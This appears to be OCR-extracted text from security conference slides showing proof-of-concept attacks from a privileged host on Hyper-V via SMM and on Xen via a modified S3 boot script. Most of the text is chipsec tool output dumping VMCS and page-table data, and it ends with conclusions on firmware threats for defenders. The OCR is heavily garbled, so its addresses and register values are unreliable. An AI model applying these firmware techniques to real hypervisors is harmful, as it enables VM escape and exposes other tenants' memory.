Example: Root to Hyper-V Exploit via SMM

10 Bltmap {causes a VM EX]'t): [%][ Module: VWirtual Machines Analyser

Bx0820 [x1[
PxBR21 [*] Searching VM VMCS ...

*1 Found Virtual Machine #1 at @2000000AE25F000
0x0064 g Extended Page Tables Address: 09000000AE24901E
BxBB0ald Guest: CRO=8P818033 CR3=94ABBPR® C(RA=0B1426F® RIP=FFFFFFFF81@55166 RSP=FFFFFFFF81C@3E90
Px00al Host : CR@=800@19931 CR3=093BCPA0 C(R4-0PP42260 RIP=FFFFF80MA6EDB138 RSP=FFFFES0300203FCO
PxBcts

*]

“]

*]

*1 Found Virtual Machine #2 at 0000000DAEASFOOO

*1 Extended Page Tables Address: 00000000AEAA901E

E]){EIC'I:C *1 Guest: CRO=80010833 C(CR3=04737000 C(R4=001426F9 RIP=FFFFFFFF381408A23 RSP=FFFF3800046BFB38

*1 Host : CR@=30010931 CR3=0903BC000 CR4-000422060 RIP=FFFFF300Q6EDB138 RSP=FFFFES0200203FCO

@xocfd *] Found Virtual Machine #3 at 0GOG@AORAESSFO00

BxBcfe *] Extended Page Tables Address: 0000008OAEBA901E

OxOcFf *] Guest: CRE=80010831 CR3=001A78000 C(R4=001526F8 RIP=FFFFF8019FA3225F RSP=FFFFF801A13E58ES
*] Host : CR@=30010931 CR3=003BC000 CR4-00042200 RIP=FFFFF300Q6EDB138 RSP=FFFFE801008203FCO

Analysing Extented Page Tables =======
RD MSR Bitmap (doesn't cause a VM exit): "1] Reading Extended Page Tables ...
. Extended Page Tables size: 32 KB
0x00000174 \ Extended Page Tables address space: 135 MB

AxPPRRR1T7S M2] Reading Extended Page Tables ...

- Extended Page Tables size: 36 KB
0x00000176 Extended Page Tables address space: 131 MB

AxcPBRe 106 y Reading Extended Page Tables ...

A " Extended Page Tables size: 28 KB
EJKCBB@BJ'@J' Extended Page Tables address space: 1027 MB
BxcBbRe162 Analysing VTd Page Tables

Reading VTd engine at FED9000@

. . . . DMA remapping is not enabled!

WR MSR Bitmap (doesn't cause a VM exit): Reading VTd engine at FED91000
0x00000174 PASID=8 ECS=0 RTT=0 RTA=000000461A000

0xPO00017S Reading VTd Rocot & Context Tables ...

Total VTd Domains: @
BxB08001 76
PxcPPPR1OR Reading Host Page Tables ...

. Host Page Tables size: 2928 KB
OxcO0ee101 Host Page Tables address space: 1932 MB
BxclP0R182 Hypervisor VM Exit Handler

FFFFF80006EDB138: mov qgword ptr [rsp + 8x28], rcx
FFFFF80006EDB13D: mov rcx, qword ptr [rsp + 8x208]




Example: DomO to Xen Exploit vie

[+] Uoaded chipsec.modules.poc.vmm.xen Found S3 boot S.Cl’lp’[ table in
[*] running loaded modules .. memory accessible to DomO

[*] running module: chipsec.modules.poc.vmm.xen
[*] Module path: /home/user/xen_demo/source/tool/chipsec/z ~uC/vmm/xen.pyc

[x][ Module: Xen VMM memory exposure

[X] [ ================s==s=s===s=s=ssssss==sglff T o =s=s========================

[uefi] Found 1 S3 resume boot-script(s)

[uefi] S3 resume boot-script at 0x00000000DBAA4000

[uefi] Decoding S3 Resume Boot-Script..

[uefi] S3 Resume Boot-Script size: Ox8AD9

[*] Modifying system firmware S3 boot script to open Xen memory

[+] PASSED: The firmware S3 boot script has been modified. VMCS structures will be exposed after resume

Dumping DomU VMCS from
memory protected by EPT

Changing the boot script to
access Xen hypervisor pages

[*] running module: chipsec.mo3 2 . vmm. vm_find

[*] Module path: /home/user/xen_demns ce/tool/chipsec/modules/poc/vmm/vm_find.pyc
[x] [ Pt e e e e Tttt ittt

[x][ Module: Virtual Machines Analyser

[ x ] [ et el e e e e Wttt el

[*] Searching VM VMCS ...

[*] Found Virtual Machine #1

[*] Extended Page Tables Address: O00000011EF6FO1E

[.*] Guest: CRO=8005003B CR3=390F6000 C(R4=001426F0 RIP=FFFFFFFF81055165 RSP=FFFFFFFF81CO3E90
[*] Host : CRO=8005003B CR3=1058BEO00O0 CR4=001526F0 RIP=FFFF82D0801DE100 RSP=FFFF83011D117F90



CPU_BASED_VM_EXEC_CONTROL :

Bit
Bit
Bit
Bit

Bit

Bit 11:

Bit
Bit
Bit
Bit

Bit
Bit
Bit
Bit
Bit

28:
29:
38 :
31:

0

1
1
@
1
1
@
@
@
@
@
1
@
1

Interrupt-window exiting
Use TSC offsetting
HLT exiting

INVLPG exiting
MWAIT exiting
RDPMC exiting
RDTSC exiting
CR3-load exiting
CR3-store exiting
CR8-load exiting
CR8-store exiting
Use TPR shadow
NMI-window exiting
MOV-DR exiting

Monitor trap flag

Use MSR bitmaps

MONITOR exiting

PAUSE exiting

Activate secondary controls

SECONDARY_VM_EXEC_CONTROL :

Bit
Bit
Bit
Bit

1

Virtualize APIC accesses
Enable EPT
Descriptor-table exiting
Enable RDTSCP

Extracting VMM Artifacts: VMCS, MSR, I/O Bitmaps...

I0 Bitmap (causes a VM exit):
Bx86206
BxBa21
BxB864
BxB8ab
BxB88al
Ox0ct8
OxBcfc
Ox@ctd
OxBcfe
OxOctt

RD MSR Bitmap (doesn't cause a VM exit):

0x00000174
OxB0ee8175
0x00000176
Oxcb00e100
0xcPe0e101
Oxcbeee102

WR MSR Bitmap (doesn't cause a VM exit):

0x00000174
OxB0ee8175
0x00000176
Oxcb00e100
0xcPe0e101
Oxcbeee102




Extracting VMM Artifacts: Extended Page Tables...

EPTP: @x@
PMLAE: &
PDPTE:
PDE
PTE
PTE
PTE
PTE
PTE

1
1

R R e WD

=

-
=




Conclusions

« Securing the firmware or detecting firmware compromise is a complex
problem

« Sophisticated adversaries start targeting firmware with implants

« Defenders need security research available to them to understand the
threat and protect their infrastructure

« Defenders also need tools to level the field with sophisticated adversaries



Thank You!



